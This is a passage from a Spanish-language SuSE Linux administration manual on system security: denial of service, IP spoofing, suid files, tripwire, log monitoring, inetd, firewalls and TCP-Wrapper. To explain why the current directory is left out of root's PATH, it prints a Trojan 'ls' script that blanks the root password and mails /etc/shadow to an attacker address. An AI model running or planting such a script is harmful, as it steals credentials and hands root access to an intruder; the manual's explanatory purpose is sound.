  29102.                            solicitantes.   Si  esto  no  fuera  posible,  lo  mejor  es  realizar  el  servicio  en
  29103.                            cuesti≤n  con  una  versi≤n  especialmente  segura  (p. ej.  paquete  postfix  en
  29104.                            lugar de paquete sendmail).  Ademßs los expertos tienen la posibilidad de
  29105.                            ejecutar cada servicio en su propio entorno chroot      .
  29106.  
  29107.  
  29108.  
  29109.                            Denial of Service
  29110.  
  29111.  
  29112.                            Para ataques del tipo ''Denial-of-Service'', el agresor bloquea un determinado
  29113.                            servicio de red por sobrecarga.  Seg·n las circunstancias, esto no solo afecta
  29114.                            a  un  servicio  de  red  en  concreto  sino  que  bloquea  todos  los  accesos  a  la
  29115.                            computadora.  Este tipo de ataque se realiza especialmente para dejar fuera
  29116.                            de servicio a un servidor de nombres con el prop≤sito de acoger su funci≤n y
  29117.                            de este modo poder desviar los paquetes de red a otro lugar.  Para ocultar el
  29118.                            origen del ataque, normalmente el ''Denial of Service'' se usa en combinaci≤n
  29119.                            con ''IP Spoofing'' (ver en la pßgina siguiente).
  29120.  
  29121.                            Por lo general, un par de horas despuΘs de la publicaci≤n de un ataque tipo
  29122.                            ''Denial  of  Service'',  el  cual  realmente  llega  a  paralizar  una  computadora,
  29123.                            aparece un parche para protegerse de Θl.  SuSE     Linux incluye parches contra
  29124.                            todos los ataques de este tipo que se han llegado a conocer hasta el momento
  29125.                            de la edici≤n de este libro, no obstante, el administrador del sistema deberφa
  29126.                            estar siempre al tanto de las ·ltimas novedades.
  29127.  
  29128.                            _____________________________________________4
  29129.                              SSL significa Secure Socket Layer.
  29130.  
  29131.  
  29132. 456
  29133.        ___________________________________________________________________________________________________________18.2.__Utilidades*
  29134.  *______________________
  29135.  
  29136.  
  29137.  
  29138. IP Spoofing
  29139. Con ''IP Spoofing'' se denomina una tΘcnica que aprovecha un hueco de se-
  29140.  
  29141. guridad del protocolo TCP/IP. Ya que no se controla la direcci≤n IP del remi-
  29142. tente de un paquete TCP/IP es posible modificarla, lo cual permite al agresor
  29143. poder camuflarse.
  29144.  
  29145. Lo mßs importante es configurar el propio enrutador de tal manera que solo
  29146. los paquetes con una direcci≤n externa pasen a la red interna y que solo salgan
  29147. los mensajes con una direcci≤n interna vßlida.
  29148.  
  29149.  
  29150.  
  29151. 18.2        Utilidades
  29152.  
  29153.  
  29154. Este apartado explica las posibilidades para controlar el sistema usando her-
  29155. ramientas  que  comprueban  la  integridad  del  mismo.   Ante  todo  hay  que
  29156. aclarar  que  la  exposici≤n  frente  a  los  ataques  es  particular  para  cada  caso;
  29157. p. ej.  una red que estß protegida por un cortafuegos no precisa de tantas me-
  29158. didas de seguridad y control como lo necesita una que no lo estΘ.
  29159.  
  29160.  
  29161.  
  29162. 18.2.1       Utilidades locales
  29163.  
  29164. Entre  las  ventajas  indiscutibles  de  Linux  destacan  su  estabilidad  y  el  con-
  29165. cepto multiusuario que por otra parte conlleva tambiΘn ciertos riesgos nada
  29166. despreciables. Estos se originan en los derechos de acceso y ejecuci≤n menos
  29167. conocidos de los cuales se puede aprovechar un usuario (agresor) experimen-
  29168. tado. De hecho se trata del llamado suid-bit; un programa que tenga este bit
  29169. activado posee automßticamente los derechos del usuario al cual pertenece.
  29170. Si el programa pertenece al superusuario, entonces se le otorga durante la eje-
  29171. cuci≤n los derechos del superusuario aunque haya sido iniciado por cualquier
  29172. otro usuario.  Esto parece peligroso pero es imprescindible para ejecutar al-
  29173. gunas funciones.  Un ejemplo es ping , que se debe ejecutar con derechos de
  29174. superusuario. Para que todos los usuarios lo puedan usar, el suid-bit de ping
  29175. estß activado.
  29176.  
  29177.       tux@tierra:/home/tux        >  ls  -l  /bin/ping
  29178.  
  29179.        _______________________________________________________________________________________________________________________
  29180.        ||||||||                                                                                                                |
  29181.        ||||||||    -rwsr-xr-x     1  root     root         13216  Mar  17  16:36  /bin/ping                                    |
  29182.        ||||||||                                                                                                                |
  29183.        ||||||||                                                                                                                |
  29184.        ||||||||                                                                                                                |
  29185.        ||||||||_______________________________________________________________________________________________________________ |
  29186.  
  29187.  
  29188. Para saber cußles programas de la computadora tienen el suid-bit activado y
  29189. pertenecen al usuario `root', introduzca el siguiente comando:
  29190.  
  29191.       tux@tierra:/home/tux        >  find  /  -uid  0  -perm  +4000
  29192.  
  29193. De  este  modo  es  posible  identificar  programas  ''sospechosos''.  Con  YaST ,
  29194. SuSE     Linux ofrece la posibilidad de asignar los permisos sobre los ficheros de
  29195. tal modo que el acceso a ellos sea seguro. Elija `Administraci≤n  de  sis-
  29196. tema',  `Configuraciones  de  seguridad'  y  ponga  secure      para  `Los
  29197. permisos  de  archivo  estßn  como:'.   Se  puede  comprobar  el  fichero
  29198. /etc/permissions.secure para ver los permisos modificados.
  29199.  
  29200.  
  29201.                                                                                                                                    *
  29202.  *   457
  29203. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  29204.  *_______________________________________@
  29205.  
  29206.  
  29207.  
  29208.                            Cuesta bastante tiempo supervisar continuamente una o varias computadoras,
  29209.                            pero existen afortunadamente herramientas que facilitan esta tarea.  Una de
  29210.                            estas  herramientas  es  el  programa  tripwire ,  paquete  tripwire,  serie  sec
  29211.                            (Software del ßmbito de seguridad), recomendado por el CERT5 .
  29212.  
  29213.  
  29214.                            Tripwire
  29215.  
  29216.                            El funcionamiento de tripwire es bastante sencillo; el programa repasa todo el
  29217.                            sistema y almacena informaci≤n sobre los ficheros en un banco de datos. Hay
  29218.                            un fichero de configuraci≤n que permite definir cußles directorios se deben
  29219.                            comprobar y cußles aspectos se deben vigilar.
  29220.  
  29221.                            Tripwire no busca ficheros infectados ni fallos del sistema sino que genera
  29222.                            un  banco  de  datos  sobre  un  sistema  supuestamente  ''limpio''.   Por  lo  tanto
  29223.                            se  aconseja  generar  este  banco  de  datos  inmediatamente  despuΘs  de  la  in-
  29224.                            stalaci≤n y antes de conectar la computadora a la red, mediante el siguiente
  29225.                            comando:
  29226.  
  29227.                                  root@tierra:root  >  /var/adm/tripwire/bin/tripwire  -init
  29228.  
  29229.                            La tabla 18.1 muestra las ramas del banco de datos y del fichero de configu-
  29230.                            raci≤n del modo en que estßn fijadas en SuSE     Linux.
  29231.  
  29232.                            ________________________________________________________________________________________________________*
  29233.  *________
  29234.  
  29235.  
  29236.                               /var/adm/tripwire                         Banco de datos y fichero de configuraci≤n
  29237.                               databases                                 Este  directorio  se  genera  de  forma  au-
  29238.                                                                         tomßtica y alberga temporalmente los ban-
  29239.                                                                         cos  de  datos  nuevos.    DespuΘs  estos  se
  29240.                                                                         deben copiar a mano al lugar correcto.
  29241.                               /var/adm/tripwire/                        El fichero de configuraci≤n.
  29242.                               tw.config
  29243.                               /var/adm/tripwire/db                      Aquφ se encuentra el banco de datos.
  29244.  
  29245.                            ________________________________________________________________________________________________________*
  29246.  *________
  29247.  
  29248.                                         Tabla 18.1: Las ramas fijas de los componentes de Tripwire
  29249.  
  29250.  
  29251.                            Las  ramas  se  definieron  de  este  modo,  ya  que  solo  el  superusuario  puede
  29252.                            entrar  a  su  directorio  ''home''  /root.   Lo  ideal  es  tener  el  banco  de  datos
  29253.                            sobre  un  sistema  de  ficheros  de  solo  lectura  como  p. ej.  un  disquete  pro-
  29254.                            tegido  contra  escritura,  dado  que  en  caso  contrario  el  agresor  serφa  capaz
  29255.                            de  ocultar  sus  manipulaciones  modificando  el  banco  de  datos.   El  fichero
  29256.                            /usr/doc/packages/tripwire/tw.conf.example.linux  muestra  una
  29257.                            configuraci≤n de ejemplo para Tripwire.  La sintaxis y las caracterφsticas de
  29258.                            este fichero de configuraci≤n se detallan en la Manpage de tw.config.  Se
  29259.                            pueden usar diferentes mΘtodos para generar sumas de comprobaci≤n y tam-
  29260.                            biΘn es posible indicar quΘ informaci≤n sobre un fichero o directorio debe ser
  29261.                            grabada.
  29262.  
  29263.                            DespuΘs  de  generar  un  fichero  de  configuraci≤n  individualizado,  se  podrφa
  29264.                            p. ej.  ejecutar tripwire con regularidad como una tarea de cron.
  29265.                            _____________________________________________5
  29266.                               CERT = Computer Emergency Response Team; ver http://www.cert.dfn.de/dfncert/
  29267.                            info.html.
  29268.  
  29269.  
  29270. 458
  29271.        ___________________________________________________________________________________________________________18.2.__Utilidades*
  29272.  *______________________
  29273.  
  29274.  
  29275.  
  29276. SuSE Security Tools
  29277. SuSE      Linux ya contiene cuatro programas de seguridad especialmente desar-
  29278.  
  29279. rollados para aumentar y controlar la seguridad del sistema.
  29280.  
  29281. El paquete firewals, serie sec (Software del ßmbito de seguridad) contiene
  29282. el script /usr/sbin/SuSEfirewall, que lee y eval·a el fichero de configu-
  29283. raci≤n /etc/rc.firewall y despuΘs genera listas de filtro restrictivas me-
  29284. diante  ipchains .   En  el  apartado  18.2.2  en  la  pßgina  461Utilidades  para  la
  29285. redsubsection.18.2.2 hay informaci≤n adicional.
  29286.  
  29287. El paquete secchk,  serie sec (Software del ßmbito de seguridad) contiene
  29288. varios scripts peque±os que efect·an cada dφa, semana o mes, algunos con-
  29289. troles de seguridad (p. ej.  control de la integridad del fichero de contrase±as,
  29290. de los datos de usuarios, m≤dulos en ejecuci≤n, etc.)  y las modificaciones se
  29291. notifican al administrador de sistema.
  29292.  
  29293. El paquete secchk,  serie sec (Software del ßmbito de seguridad) contiene
  29294. dos  programas  especiales  para  SuSE     Linux.   DespuΘs  de  la  instalaci≤n  se
  29295. llevan a cabo peri≤dicamente algunas comprobaciones de seguridad (p. ej.  la
  29296. consistencia del fichero de contrase±as, los datos de los usuarios, los m≤dulos
  29297. en  ejecuci≤n,  etc.)   y  las  modificaciones  se  notifican  al  administrador  de
  29298. sistema.
  29299.  
  29300. El paquete hardsuse, serie sec (Software del ßmbito de seguridad) contiene
  29301. el script /etc/security/harden`suse.pl , escrito en Perl y se desarroll≤ para ofre-
  29302. cer a los administradores de sistema un programa de uso sencillo con el fin de
  29303. aumentar la seguridad.  DespuΘs del inicio del mismo aparecen 9 preguntas
  29304. del  tipo  Sφ/No,  p. ej.  sobre  la  desactivaci≤n  de  servicios  o  la  minimizaci≤n
  29305. de  ficheros  con  suid  o  sgid-bit.   Con  estas  indicaciones  el  programa  efec-
  29306. t·a cambios en la configuraci≤n del sistema.  Un fichero de registro con las
  29307. modificaciones hechas se encuentra en /etc/harden_suse.log, ademßs se
  29308. generan copias de seguridad de los ficheros modificados.  Si despuΘs de esto
  29309. el sistema se comportara de forma no deseada, se podrφa restablecer la con-
  29310. figuraci≤n anterior con /etc/undo`harden`suse .
  29311.  
  29312. El paquete scslog,  serie sec (Software del ßmbito de seguridad) contiene
  29313. un m≤dulo que protocoliza todas las conexiones de red de entrada y de salida
  29314. una vez que estΘ cargado (se puede automatizar esto, a±adiΘndolo p. ej.  a los
  29315. guiones de inicio).
  29316.  
  29317. En  el  paquete  secumod,  serie  sec  (Software  del  ßmbito  de  seguridad)  hay
  29318. un m≤dulo adicional que evita (o al menos dificulta) ataques al sistema.  En-
  29319. tre estos ataques estßn los del tipo Symlink-,  Hardlink- y Pipe y es posible
  29320. impedir el ''stracing'' de los procesos. Como se trata de un paquete muy nue-
  29321. vo que a·n no estß completamente documentado, recomendamos consultar la
  29322. documentaci≤n electr≤nica sobre este paquete.
  29323.  
  29324. Hay otras herramientas que ya se estßn preparando.
  29325.  
  29326.  
  29327. Leer Logfiles
  29328.  
  29329. Una buena fuente de informaci≤n sobre las actividades que se llevan a cabo
  29330. en la computadora son los ficheros de registro (Logfiles), ya que el sistema
  29331. y determinados programas almacenan en estos informaci≤n. Se deberφa com-
  29332.  
  29333.  
  29334.                                                                                                                                    *
  29335.  *   459
  29336. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  29337.  *_______________________________________@
  29338.  
  29339.  
  29340.  
  29341.                            probar regularmente, como mφnimo, el fichero /var/log/messages, ya que
  29342.                            SuSE     Linux anota en Θl la mayorφa de informaci≤n disponible.
  29343.  
  29344.                            Por lo general falta el tiempo o la motivaci≤n para comprobar estos ficheros
  29345.                            que crecen continuamente.  Por suerte hay herramientas para ayudar en esta
  29346.                            tarea como por ejemplo el programa logsurfer , que permite el control contin-
  29347.                            uo de los ficheros de registro. Determinados mensajes en el fichero de registro
  29348.                            provocan determinadas reacciones, como p. ej.  el envφo de un mail o el inicio
  29349.                            de un programa externo.
  29350.  
  29351.                            Hay  ejemplos  de  configuraci≤n  en  la  excelente  pßgina  del  manual  de
  29352.                            logsurfer.conf              (man  4  logsurfer.conf                ).
  29353.  
  29354.  
  29355.  
  29356.                            La variable <PATH> y el usuario `root'. . .
  29357.  
  29358.                            Trabajando como `root' en SuSE     Linux probablemente ya habrß notado que
  29359.                            el directorio actual se excluye del ''path'' de b·squeda. Esto se manifiesta con
  29360.                            la necesidad de anteponer ./ a cualquier programa a ejecutar que se encuentre
  29361.                            en el directorio actual. La raz≤n para esto se explica fßcilmente de la siguiente
  29362.                            manera:
  29363.  
  29364.  
  29365.                              o   Supongamos que hay un usuario dado de alta en el sistema y Θste crea el
  29366.                                  script que figura en el fichero 18.2.1.
  29367.  
  29368.                            ________________________________________________________________________________________________________*
  29369.  *________||||
  29370.                            |                                                                                                       *
  29371.  *         |
  29372.                            |    #!/bin/sh                                                                                          *
  29373.  *         |
  29374.                            |    cp  /etc/shadow  /etc/shadow.system                                                                *
  29375.  *         |
  29376.                            |                                                                                                       *
  29377.  *         |
  29378.                            |    cat  /etc/shadow.system  |  \                                                                      *
  29379.  *         |
  29380.                            |          sed  's;\(^root:\)[^:]*\(:.*\);\1\2;'  >  /etc/shadow                                        *
  29381.  *         |
  29382.                            |                                                                                                       *
  29383.  *         |
  29384.                            |    #  rm  -f  /etc/shadow.system                                                                      *
  29385.  *         |
  29386.                            |    mailx  hacker@hackit.org  -s  "Root  Account  hacked"  <  /etc/shadow                              *
  29387.  *         |
  29388.                            |    /bin/ls  $*                                                                                        *
  29389.  *         |
  29390.                            |                                                                                                       *
  29391.  *         |
  29392.                            |                                                                                                       *
  29393.  *         |
  29394.                            |                                                                                                       *
  29395.  *         |
  29396.                            |_______________________________________________________________________________________________________*
  29397.  *________ |
  29398.  
  29399.                                          Fichero 18.2.1: Script para obtener una cuenta de `root'
  29400.  
  29401.  
  29402.                              o   Este script lo copia a /tmp/ls
  29403.  
  29404.                              o   Si en esta situaci≤n el directorio de `root' es /tmp, este directorio (co-
  29405.                                  mo  directorio  actual)  se  encuentra  por  delante  de  /bin  en  la  variable
  29406.                                  <PATH>,  por  lo  cual,  el  comando  ls   ejecuta  el  script  mencionado  en
  29407.                                  lugar del ls ''real'' en /bin/ls. El script quita la contrase±a de `root' y
  29408.                                  envφa un mail al usuario agresor informßndole que dispone ahora de una
  29409.                                  cuenta con derechos de superusuario en la computadora.  Esto no es muy
  29410.                                  agradable ;-)
  29411.  
  29412.  
  29413.                            Si  el  directorio  actual  no  hubiese  formado  parte  del  ''path''  de  b·squeda,
  29414.                            se deberφa haber introducido explφcitamente el comando ./ls     para ejecutar
  29415.                            el  script,  o  sea  que,  introduciendo  solo  ls   ~  como  es  normal  ~  se  hubiera
  29416.                            ejecutado ls  y no hubiera pasado nada.  De hecho el script es un ''caballo de
  29417.                            Troya'' (ver en la pßgina 454Virus y caballos de TroyaHfootnote.80).
  29418.  
  29419.  
  29420.  
  29421. 460
  29422.        ___________________________________________________________________________________________________________18.2.__Utilidades*
  29423.  *______________________
  29424.  
  29425.  
  29426.  
  29427. 18.2.2       Utilidades para la red
  29428. No  cabe  duda  que  es  muy  importante  vigilar  y  controlar  una  computadora
  29429.  
  29430. incorporada  en  una  red,  por  lo  tanto,  se  comentan  a  continuaci≤n  algunas
  29431. medidas de protecci≤n contra ataques procedentes de la misma.
  29432.  
  29433.  
  29434. El inetd
  29435.  
  29436. Es importante reflexionar bien sobre los servicios (puertos) que ofrece el in-
  29437. etd  (Internet ''Super-Server'').  En la configuraci≤n predeterminada de SuSE
  29438. Linux, los servicios ''peligrosos'' estßn desactivados.  Como ''peligrosos'' se
  29439. consideran los servicios internos (ingl. internal services) de inetd . El fichero
  29440. de  configuraci≤n  se  encuentra  bajo  /etc/inetd.conf;  sin  embargo,  tam-
  29441. biΘn se debe tener cuidado con otros servicios ~ todo depende de las necesi-
  29442. dades individuales.  Es recomendable echar un vistazo al fichero de configu-
  29443. raci≤n, ya que hay varios servicios activados por defecto (p. ej.  POP3). En el
  29444. fichero 18.2.2 se muestra una selecci≤n de los servicios que normalmente se
  29445. necesitan en la mayorφa de casos.
  29446.  
  29447.        _______________________________________________________________________________________________________________________||
  29448.        ||||||||                                                                                                                |
  29449.        ||||||||    ftp      stream  tcp  nowait  root     /usr/sbin/tcpd          wu.ftpd  -a                                  |
  29450.        ||||||||    telnet  stream  tcp  nowait  root     /usr/sbin/tcpd          in.telnetd                                    |
  29451.        ||||||||    shell   stream  tcp  nowait  root     /usr/sbin/tcpd          in.rshd  -L                                   |
  29452.        ||||||||                                                                                                                |
  29453.        ||||||||    login   stream  tcp  nowait  root     /usr/sbin/tcpd          in.rlogind                                    |
  29454.        ||||||||    finger  stream  tcp  nowait  nobody  /usr/sbin/tcpd          in.fingerd  -w                                 |
  29455.        ||||||||    ident   stream  tcp  wait     nobody  /usr/sbin/in.identd  in.identd  \                                     |
  29456.        ||||||||              -w  -e  -t120                                                                                     |
  29457.        ||||||||                                                                                                                |
  29458.        ||||||||                                                                                                                |
  29459.        ||||||||                                                                                                                |
  29460.        ||||||||_______________________________________________________________________________________________________________ |
  29461.  
  29462.             Fichero 18.2.2: Ejemplo de configuraci≤n tφpica para el inetd
  29463.  
  29464.  
  29465. Tal vez serφa conveniente prescindir de los servicios telnet , shell  y login , ya
  29466. que estos permiten al agresor capturar todos los datos sin codificaci≤n (con-
  29467. trase±a incluida). Para hacerlo ni siquiera se requiere de conocimientos espe-
  29468. ciales, porque existen programas hechos a tal prop≤sito.  En ning·n caso es
  29469. apropiado permitir el ''login'' remoto como superusuario `root'. Para reme-
  29470. diar este problema se puede recurrir a la ''Secure Shell'' (paquete ssh), con la
  29471. que se encripta toda la informaci≤n transmitida como tambiΘn la contrase±a
  29472. usada (+  Encriptaci≤n).
  29473.  
  29474.  
  29475. Cortafuegos de SuSE
  29476.  
  29477.        _______________________________________________________________________________________________________________________||
  29478.  
  29479.        ||||||||  El soporte de instalaci≤n no responde a preguntas respecto al cortafuegos                      |||            |
  29480.        ||||||||  de SuSE    .                                                                                   ||             |
  29481.        ||||||||_______________________________________________________________________________________________________________||_
  29482.  
  29483. El  cortafuegos  de  SuSE     (paquete  firewals,  serie  sec  (Software  del  ßm-
  29484. bito  de  seguridad))  se  activa  y  se  configura  mediante  el  fichero  /etc/rc.
  29485. firewall.  Las distintas entradas estßn documentadas en el mismo fichero.
  29486. Para facilitar el inicio en esta materia, se explican algunos conceptos bßsicos
  29487. sobre el uso del cortafuegos de SuSE    .
  29488.  
  29489.  
  29490.                                                                                                                                    *
  29491.  *   461
  29492. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  29493.  *_______________________________________@
  29494.  
  29495.  
  29496.  
  29497.                            El protocolo que se usa para la comunicaci≤n en Internet es el que se conoce
  29498.                            bajo el nombre ''TCP/IP'' que significa ''Transmission Control Protocol and
  29499.                            Internet  Protocol''.    Hoy  en  dφa  se  puede  usar  TCP/IP  en  casi  cualquier
  29500.                            plataforma, sistema operativo o red. El departamento de defensa de los Esta-
  29501.                            dos Unidos de AmΘrica (United States Department of Defence; DoD) desar-
  29502.                            roll≤ este protocolo y lo present≤ por primera vez al p·blico en 1978.
  29503.  
  29504.                            Los  datos  en  una  red  del  tipo  TCP/IP  se  transfieren  de  una  computadora  a
  29505.                            la  otra  en  forma  de  paquetes.   Cada  paquete  comienza  con  un  encabezado
  29506.                            (ingl.  header),  que  contiene  datos  de  control  como  p. ej.  la  direcci≤n  de  la
  29507.                            computadora destino. Por detrßs de este encabezado se encuentran los datos.
  29508.                            Para transferir p. ej.  un fichero de una computadora a la otra vφa red, el con-
  29509.                            tenido de este fichero se convierte en una serie de paquetes que se mandan a
  29510.                            la computadora destino.
  29511.  
  29512.                            El protocolo de transmisi≤n (Transmission Control Protocol, TCP) se encarga
  29513.                            de transferir correctamente los paquetes. Este protocolo p. ej.  se preocupa de
  29514.                            que los paquetes lleguen en el orden correcto al destinatario. TCP representa
  29515.                            la  capa  de  transporte  y  comunica  los  errores  irremediables  al  protocolo  IP
  29516.                            que  se  encuentra  encima.   Otro  protocolo  de  transporte  de  esta  familia  es
  29517.                            el UDP. En el caso de este protocolo se ha suprimido el control de errores,
  29518.                            haciendo la transferencia mßs rßpida que con TCP. Usando UDP debe existir
  29519.                            otro mecanismo (por parte de la aplicaci≤n) de reconocimiento y correcci≤n
  29520.                            de errores.
  29521.  
  29522.                            Una direcci≤n IP (IP versi≤n 4) es un valor de 32 bit.  Para aclararlo mßs, las
  29523.                            direcciones IP se escriben en 4 partes decimales de 8 bit, separados por puntos
  29524.                            (p. ej.  192.168.0.20).  Las comunicaciones se realizan a travΘs de puertos
  29525.                            (0 hasta 65535) para que la computadora pueda establecer varias conexiones
  29526.                            al instante y distinguirlas.  Estos puertos se asignan a las conexiones por lo
  29527.                            que  el  encabezado  de  un  paquete  TCP  o  UDP  siempre  incorpora  el  puerto
  29528.                            de origen y de destino ~ aparte de la direcci≤n del remitente (la computadora
  29529.                            que manda el paquete) y de la de la computadora destino.  Ciertos puertos,
  29530.                            de 0 hasta 65535, estßn previstos para determinados servicios (ver tambiΘn el
  29531.                            fichero /etc/services).
  29532.  
  29533.                            El  puerto  23  (TCP)  es  por  ejemplo  el  puerto  previsto  para  las  conexiones
  29534.                            vφa telnet.  Este puerto forma parte del rango de puertos privilegiados entre
  29535.                            0 y 1023 (TCP y UDP). Los programas que necesitan privilegios de admin-
  29536.                            istrador de sistema (derechos de `root') pueden ofrecer sus servicios sobre
  29537.                            este rango de puertos (ver /etc/services).
  29538.  
  29539.                            Los puertos 1024 hasta 65535 son puertos no privilegiados.  La diferencia se
  29540.                            explica con un ejemplo simplificado sobre la transferencia de un fichero vφa
  29541.                            ftp   .  Hay un servidor FTP que ofrece servicios en el puerto TCP 21; cuando
  29542.                            se inicia un cliente FTP en la computadora con la direcci≤n 192.168.3.5           (el
  29543.                            cliente) usando el comando:
  29544.  
  29545.                                  tux@tierra:/home/tux        >  ftp  192.168.3.16
  29546.  
  29547.                            el cliente establece una conexi≤n TCP hacia el puerto 21 de la computadora
  29548.                            con la direcci≤n IP 192.168.3.16            (el servidor).  El servidor FTP responde
  29549.                            en  el  puerto  21  y  se  encarga  de  la  identificaci≤n  de  usuario  solicitando  el
  29550.                            nombre de usuario y la contrase±a. La conexi≤n asφ establecida, sirve tambiΘn
  29551.  
  29552.  
  29553. 462
  29554.        ___________________________________________________________________________________________________________18.2.__Utilidades*
  29555.  *______________________
  29556.  
  29557.  
  29558.  
  29559. para la transferencia de todos los comandos-FTP que el usuario introduzca
  29560. despuΘs de entrar al sistema. En comparaci≤n a esto, para la transferencia de
  29561. datos (despuΘs de introducir el comando ls   o get   ), el servidor por sφ mismo
  29562. establece una conexi≤n a un puerto no privilegiado del cliente. Esta conexi≤n
  29563. sirve entonces para la transferencia real de los datos.
  29564.  
  29565. TCP/IP  se  dise±≤  para  redes  muy  grandes  y  por  tanto  incorpora  mecanis-
  29566. mos para estructurar una red.  Toda el ßrea de direcciones de 32 bit se puede
  29567. dividir en sub-redes.  Estas se forman por declarar una serie de bits (comen-
  29568. zando desde la izquierda) como direcci≤n de la sub-red.  Por ejemplo para la
  29569. sub-red con la direcci≤n 192.168.3.0          , los primeros 24 bits de la direcci≤n
  29570. forman la direcci≤n de la red.  La ''mßscara de sub-red'' (ingl. Subnetmask)
  29571. determina cußntos bits de una direcci≤n forman la direcci≤n de red. Por ejem-
  29572. plo,  la mßscara de sub-red 255.255.255.0              determina que la computadora
  29573. con  la  direcci≤n  192.168.3.5           se  encuentra  en  la  sub-red  con  la  direcci≤n
  29574. 192.168.3.0           .
  29575.  
  29576. Las  sub-redes  dentro  de  una  red  grande  se  conectan  normalmente  a  travΘs
  29577. de un enrutador (ingl. router).  Se trata de un dispositivo especial o, de una
  29578. computadora equipada para esta tarea, que se encarga de enviar los paquetes
  29579. a su destino correcto.  El opuesto de la mßscara de sub-red es la direcci≤n de
  29580. ''broadcast'', a travΘs de la cual se puede acceder a todas las computadoras en
  29581. una sub-red. Por ejemplo, todas las computadoras de la red 192.168.3.0           se
  29582. acceden con la direcci≤n de broadcast 192.168.3.255            .
  29583.  
  29584. Una vez que la computadora estß conectada a Internet, Θsta forma parte de la
  29585. red mundial, por lo que se puede acceder a ella desde Internet cada vez que
  29586. se establezca la conexi≤n al proveedor.  Por eso hay que tomar medidas para
  29587. evitar el acceso indebido desde Internet.  De esto se encarga el cortafuegos
  29588. (filtro|de|paquetes)|de SuSE    .                                                                                              |
  29589.        _______________________________________________________________________________________________________________________||||||
  29590.        ||||||||  Los Filtros de paquetes son una especie de cortafuegos a nivel de red que                      |||            |
  29591.        ||||||||  siempre  filtran  a  base  de  direcciones  de  remitente,  de  destinatario  y  de            ||             |
  29592.        ||||||||                                                                                                 ||             |
  29593.        ||||||||  puerto, que figuran dentro de los paquetes IP. Un enrutador sencillo o el fil-                 ||             |
  29594.        ||||||||                                                                                                 ||             |
  29595.        ||||||||  tro de paquetes de SuSE     son cortafuegos a nivel de red (ingl. network level                ||             |
  29596.        ||||||||  firewall).  Estos no son suficientemente sofisticados para averiguar el sig-                   ||             |
  29597.        ||||||||                                                                                                 ||             |
  29598.        ||||||||  nificado de un paquete IP y su origen; por eso no ofrecen una protecci≤n to-                   ||             |
  29599.        ||||||||  tal contra ataques. Los cortafuegos modernos estßn mßs desarrollados para                      ||             |
  29600.        ||||||||                                                                                                 ||             |
  29601.        ||||||||  Linux (p. ej. , SINUS Firewall I , http://www.sinusfirewall.org), ya                           ||             |
  29602.        ||||||||                                                                                                 ||             |
  29603.        ||||||||  que recogen informaci≤n interna y el contenido de las conexiones que ellos                     ||             |
  29604.        ||||||||  administran.  Los cortafuegos a nivel de aplicaci≤n (ingl. application lev-                    ||             |
  29605.        ||||||||                                                                                                 ||             |
  29606.        ||||||||  el firewalls)  (p. ej. TIS Firewall Toolkit ) estßn representados normalmente                  ||             |
  29607.        ||||||||  por computadoras que ejecutan un servidor Proxy, que protocoliza y anal-                       ||             |
  29608.        ||||||||                                                                                                 ||             |
  29609.        ||||||||  iza cuidadosamente todos los datos que pasan por Θl.  Los programas de                         ||             |
  29610.        ||||||||  servidor Proxy son ideales para establecer mecanismos de protecci≤n, ya                        ||             |
  29611.        ||||||||                                                                                                 ||             |
  29612.        ||||||||  que se ejecutan sobre el cortafuegos.                                                          ||             |
  29613.        ||||||||_______________________________________________________________________________________________________________||_
  29614.  
  29615.  
  29616.  
  29617. ┐Para quΘ se usa el cortafuegos de SuSE     ?    Para las redes que necesitan un
  29618. cierto nivel de protecci≤n ~ esto es vßlido prßcticamente en todos los lugares
  29619. que tramitan datos personales ~ los cortafuegos del tipo ''Application Level''
  29620.  
  29621.  
  29622.                                                                                                                                    *
  29623.  *   463
  29624. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  29625.  *_______________________________________@
  29626.  
  29627.  
  29628.  
  29629.                            son por su funcionamiento lo mßs indicado.  Para estas redes, el cortafuegos
  29630.                            (filtro de paquetes) de SuSE     no ofrece suficiente protecci≤n.
  29631.  
  29632.                            El cortafuegos (filtro de paquetes) de SuSE     sirve para la protecci≤n del PC en
  29633.                            casa, de la peque±a red casera o de una estaci≤n de trabajo dentro de una red
  29634.                            segura.
  29635.  
  29636.                            El cortafuegos de SuSE     solo se debe utilizar para proteger una red empresar-
  29637.                            ial, sabiendo bien lo que se hace (ver la lista bibliogrßfica).
  29638.  
  29639.                            La instalaci≤n y el mantenimiento de un cortafuegos exige un conocimiento
  29640.                            profundo sobre redes y sobre los protocolos usados.  Una superficie grßfica
  29641.                            o una configuraci≤n predeterminada (como lo ofrece el filtro de paquetes de
  29642.                            SuSE    ), no pueden reemplazar este conocimiento.
  29643.  
  29644.                            La  documentaci≤n  acerca  del  cortafuegos  de  SuSE     se  encuentra  en  /usr/
  29645.                            doc/packages/firewals y /etc/rc.firewall. Para aprender mßs sobre
  29646.                            el tema de cortafuegos recomendamos las siguientes fuentes de informaci≤n:
  29647.  
  29648.                              o   El manual del cortafuegos para Linux 2.0 y 2.2 de Guido Stepken ofrece
  29649.                                  desde  informaci≤n  tΘcnica  detallada  hasta  la  descripci≤n  de  los  tφpicos
  29650.                                  puntos de ataque y errores, casi todo lo que se precisa saber para montar
  29651.                                  un  cortafuegos  seguro  con  Linux.   Este  manual  solo  estß  disponible  en
  29652.                                  lφnea bajo el URL:
  29653.                                  (http://www.little-idiot.de/firewall/)
  29654.  
  29655.                              o   Para  conocer  mßs  sobre  cortafuegos  a  base  de  software  libre  se  puede
  29656.                                  consultar  la  informaci≤n  sobre  el  proyecto  ''Freefire''  (http://sites.
  29657.                                  inka.de/sites/lina/freefire-l/).
  29658.  
  29659.  
  29660.                            El TCP-Wrapper
  29661.  
  29662.                            El TCP-Wrapper (tcpd ) permite dar acceso a determinados servicios en fun-
  29663.                            ci≤n de la direcci≤n IP del solicitante. El programa tcpd  ya estß integrado en
  29664.                            SuSE     Linux tal como se puede observar en la sexta columna del fichero 18.2.2
  29665.                            en  la  pßgina  461El  inetd subsection.18.2.2.   El  funcionamiento  de  este  ser-
  29666.                            vicio es sencillo ya que tcpd  se encarga de lanzar los servicios despuΘs de
  29667.                            comprobar si el cliente estß autorizado a usarlos.
  29668.  
  29669.                            Este  control  de  acceso  se  configura  mediante  los  ficheros  /etc/hosts.
  29670.                            allow y /etc/hosts.deny.
  29671.  
  29672.                              o   Se permite un determinado acceso cuando existe la correspondiente com-
